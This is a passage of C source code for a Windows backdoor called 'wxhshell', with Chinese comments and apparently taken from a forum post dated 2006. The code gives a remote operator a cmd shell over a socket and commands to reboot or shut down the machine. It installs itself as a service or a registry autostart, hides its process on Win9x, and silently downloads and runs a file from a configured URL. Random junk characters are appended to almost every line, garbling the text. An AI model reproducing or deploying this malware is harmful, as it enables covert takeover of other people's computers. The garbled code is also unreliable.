  } jdJTOT  
  else { @ !su7  
8b'@_s!_  
    switch(cmd[0]) { !38KHq^|&  
  vO2WZ7E!  
  // 帮助 tNr'@ls  
  case '?': { cdL]s^z  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); /g+-{+sx  
    break; U$gR}8\e  
  } o|h=M/  
  // 安装 K:'^f? P  
  case 'i': { <<?32r~  
    if(Install()) o=7,U/{D!  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); 6 ScB:8M  
    else GB Yy^wjU  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); >"!ScYn  
    break; 0}e?hbF%U  
    } /.7RWy`  
  // 卸载 Pp!4Ak4TT9  
  case 'r': { ZtO$kK%q;  
    if(Uninstall()) 8k-]u3  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); X$6NJ(2G  
    else 5xdeuBEY8  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0);  4t(/F`  
    break; hH5~T5?\  
    } f}2}Ta  
  // 显示 wxhshell 所在路径 7!cLTq  
  case 'p': { \_,p@r]Q  
    char svExeFile[MAX_PATH]; TSewq4`K  
    strcpy(svExeFile,"\n\r"); V5ZC2H  
      strcat(svExeFile,ExeFile); I9G^T' W  
        send(wsh,svExeFile,strlen(svExeFile),0); tIDN~[1  
    break;  :2nsi4  
    } $T3_~7N  
  // 重启 *V',@NH#Os  
  case 'b': { ni{'V4A  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); V:y6NfL7i'  
    if(Boot(REBOOT)) ,V!"4 T,Z  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); 7u&l]NC?y  
    else { f:+/= MW  
    closesocket(wsh); /lUfxc4  
    ExitThread(0); ULz<P  
    } x@q.u3o9  
    break; Z S=H1  
    } 1Z c=QJw@  
  // 关机 6:|;O  
  case 'd': { `$JvWN,kB  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); /5Qh*.(S  
    if(Boot(SHUTDOWN)) Qb?a[[3  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); r craf4%  
    else { "dIWHfQB  
    closesocket(wsh);  Ll; v[Y  
    ExitThread(0); RBf#5VjOG!  
    } FCNYfjB%  
    break; 5n2!Y\  
    } C lf;+G0  
  // 获取shell w*XM*yJHU  
  case 's': { &6OY ^6<  
    CmdShell(wsh); af | mk@  
    closesocket(wsh); 6k;5T   
    ExitThread(0); "|Q.{(|kO1  
    break; E<+ G5j  
  } ~{lb`M^]h  
  // 退出 :5/Ue,~ag  
  case 'x': { EF:ec9 .  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); d lfjx  
    CloseIt(wsh); 5&Yt=)c\  
    break; _f@,) n  
    } *$%~/Q@]  
  // 离开 *d=}HO/  
  case 'q': { ^yB]_*WJ  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); D%o(HS\E  
    closesocket(wsh); x+4K,r;  
    WSACleanup(); |x1OWm1:<  
    exit(1); t'eu>a1D  
    break; i kfJ!f  
        } K_L7a>Fr  
  } $7AsMlq[(  
  } ,V 52Fj  
Cydo~/  
  // 提示信息 u|}\Af  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); u~uz=Yse  
} L@T/4e./  
  } Kt*b) <  
:'wxm3f  
  return; A)9]^@,  
} ]pe7I P  
wnd #J `  
// shell模块句柄 @>46.V{P}B  
int CmdShell(SOCKET sock) 8m' f8.x  
{ x`7Le&4f  
STARTUPINFO si; ":+d7xR?o  
ZeroMemory(&si,sizeof(si)); </_QldL_  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; ,H6P%  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; j%` C  
PROCESS_INFORMATION ProcessInfo; @uyQH c,V  
char cmdline[]="cmd"; o`Z3}  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); aMe &4Q  
  return 0; Vn5%%?]J  
} yT OZa-  
ib(|}7Je  
// 自身启动模式 bgE]Wk0  
int StartFromService(void) 0o$RvxJ  
{ 0(+<uo~6p1  
typedef struct m33&obSP  
{ i5le0lM  
  DWORD ExitStatus; Jm CHwyUK?  
  DWORD PebBaseAddress; ? 0X$ox  
  DWORD AffinityMask; @Un/,-ck  
  DWORD BasePriority; UeCi{ W  
  ULONG UniqueProcessId; [/hoNCH!  
  ULONG InheritedFromUniqueProcessId; zu?112-v2  
}   PROCESS_BASIC_INFORMATION; -x6_HibbD  
[x 7Rq_^  
PROCNTQSIP NtQueryInformationProcess; )2y [#Blo  
! U@ETo  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; NqF*hat  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; KtAEM;g  
4 `l$0m@>  
  HANDLE             hProcess; ~\-=q^/!  
  PROCESS_BASIC_INFORMATION pbi; b~fl,(sZp  
<#BK(W~$  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); y]{b4e  
  if(NULL == hInst ) return 0; ?yAb=zI1b  
e:-pqZT`  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); 4ZUtK/i+r  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); ]~  N.  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); "Fmq$.$%  
M/W9"N[ta  
  if (!NtQueryInformationProcess) return 0; <FkaH8,7  
-ABj>y[  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); U*K4qJ6U  
  if(!hProcess) return 0; )( 3)^/Xz  
t9<BQg  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; }!fIY7gv  
a+z>pV|  
  CloseHandle(hProcess); p\_3g!G'  
2|ee`"`  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); ^~l@ _r  
if(hProcess==NULL) return 0; [MAPa  
%6lGRq{/?  
HMODULE hMod; uHquJQ4  
char procName[255]; YYI0iM>  
unsigned long cbNeeded; >,zU=I?9Y  
$Xo_8SX,  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); FP{=b/  
MbYgGE,LA  
  CloseHandle(hProcess); A iR#:r  
?@x$ h  
if(strstr(procName,"services")) return 1; // 以服务启动 .mrv"k\<  
iDDq<a.A  
  return 0; // 注册表启动 >j]Gz-wC  
} tC1'IE-h  
%Jl6e}!  
// 主模块 }L Q%%  
int StartWxhshell(LPSTR lpCmdLine) E5S(1Z}]p{  
{ T)22P<M8  
  SOCKET wsl; FB?V<x  
BOOL val=TRUE; uh 9b!8  
  int port=0; V 7~9z\lW  
  struct sockaddr_in door; z I9jxwXU  
ysp,:)-%G@  
  if(wscfg.ws_autoins) Install(); ^WWr8-  
s +S6'g--  
port=atoi(lpCmdLine); W)Y-^i5  
#('R`~  
if(port<=0) port=wscfg.ws_port; 8yI4=P"F,  
6&E[hvu  
  WSADATA data; vbd ;Je"  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; \0}bOHqEH  
u$nmnd`g  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   pT+OPOSR  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); 4avkyFj!h  
  door.sin_family = AF_INET; '9vsv\A&  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); OFv-bb*YZ  
  door.sin_port = htons(port); ;X;x.pi   
Z1W%fT  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { VZamR}x  
closesocket(wsl); dXn$XGF%R  
return 1; N>L)2WKFT  
} r.LOj6c  
CPsl/.$tC  
  if(listen(wsl,2) == INVALID_SOCKET) { {1UU `d  
closesocket(wsl); R ^@`]dX$  
return 1; &>.QDO  
} :O,,fJ<x.O  
  Wxhshell(wsl); uUBUUr  
  WSACleanup(); WM$Z?CN%KB  
'YN:cr,V  
return 0; fUq}dAs*K  
RigS1A\2l  
} h+q#|N  
(u8OTq@  
// 以NT服务方式启动 Wvd-be  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) nF3Sfw,  
{ hn6'$P  
DWORD   status = 0; ~tNk\Kkv  
  DWORD   specificError = 0xfffffff; ~P!=fU)  
Lo[;{A$u  
  serviceStatus.dwServiceType     = SERVICE_WIN32; ='Oxy  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; (Ww SisC~  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; 4,)QV_?  
  serviceStatus.dwWin32ExitCode     = 0; # NK{]H$fd  
  serviceStatus.dwServiceSpecificExitCode = 0; #"C* dNAB  
  serviceStatus.dwCheckPoint       = 0; ~h+B&F+5  
  serviceStatus.dwWaitHint       = 0; =fy.'+  
]t17= Lr?  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); }]=A:*jD  
  if (hServiceStatusHandle==0) return; Q[`2? j?  
.Xxxz Wyk  
status = GetLastError(); "AWk jdj  
  if (status!=NO_ERROR) K;`*n7=IA  
{ 1-4[w *u>  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; a(JtGjTf&  
    serviceStatus.dwCheckPoint       = 0; y </i1qM  
    serviceStatus.dwWaitHint       = 0; CpgaQG^  
    serviceStatus.dwWin32ExitCode     = status; Ym]rG 4  
    serviceStatus.dwServiceSpecificExitCode = specificError; RHu,t5,  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); z&qOu8Jh  
    return; Ra~:O\Z  
  } ;%>X+/.y0  
x1CMW`F  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; 4^6Oh#p0  
  serviceStatus.dwCheckPoint       = 0; zZ<~yi3A9  
  serviceStatus.dwWaitHint       = 0; *D7oHwDU  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); D* HK[_5  
} )B @&q.2B=  
N0 t26| A  
// 处理NT服务事件,比如:启动、停止 (hY^E(D  
VOID WINAPI NTServiceHandler(DWORD fdwControl) Jju?v2y`  
{ 5(\[Gke  
switch(fdwControl) lm'.G99{  
{ ?K.!^G  
case SERVICE_CONTROL_STOP: 1Ji"z>H*  
  serviceStatus.dwWin32ExitCode = 0; <(qdxdUp  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; #TP Y%  
  serviceStatus.dwCheckPoint   = 0; G0r(xP?  
  serviceStatus.dwWaitHint     = 0; ,5sv;  
  { {5fq4A A6  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); noT}NX%  
  } zzKU s"u  
  return; 127@ TN"  
case SERVICE_CONTROL_PAUSE: QX-M'ur99  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; ~vR<UQz  
  break; ;ZrFy=Iv  
case SERVICE_CONTROL_CONTINUE: F<6{$YI  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; (ubK i[)  
  break; A_6Dol=J@  
case SERVICE_CONTROL_INTERROGATE: /#xYy^`  
  break; lFgE{; z@  
}; %#]/ ]B/4  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); /hyCR___  
} Ga *  
aUBu"P$J  
// 标准应用程序主函数 `\-MpNw  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) 6z67%U*8r  
{ KkHlMwv  
1[dQVJqMp(  
// 获取操作系统版本 4MgG]  
OsIsNt=GetOsVer(); } M\G  
GetModuleFileName(NULL,ExeFile,MAX_PATH); wK%x|%R[  
><@& &u.  
  // 从命令行安装 69C ss'  
  if(strpbrk(lpCmdLine,"iI")) Install(); qkyYt#4E  
u-dF ~.x  
  // 下载执行文件 E~Y%x/oX  
if(wscfg.ws_downexe) { %A( hmC  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) ]<O -  
  WinExec(wscfg.ws_filenam,SW_HIDE); A5dH*< }  
} gm&O-N"= U  
iB'g7&,L  
if(!OsIsNt) { O{G $]FtF  
// 如果时win9x,隐藏进程并且设置为注册表启动 Fg^zz*e  
HideProc(); [  **F  
StartWxhshell(lpCmdLine); %{P." ki  
} w?p8)Q6m  
else OoAZ t  
  if(StartFromService()) gkv,Om  
  // 以服务方式启动 ![_GA)7  
  StartServiceCtrlDispatcher(DispatchTable); jM(!!A jpC  
else inx0W3d"T  
  // 普通方式启动 'nqVcNgb  
  StartWxhshell(lpCmdLine); "}UYsXg  
pvd9wKz  
return 0; tgm(tDL  
}
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只看该作者 1 发表于: 2006-10-10
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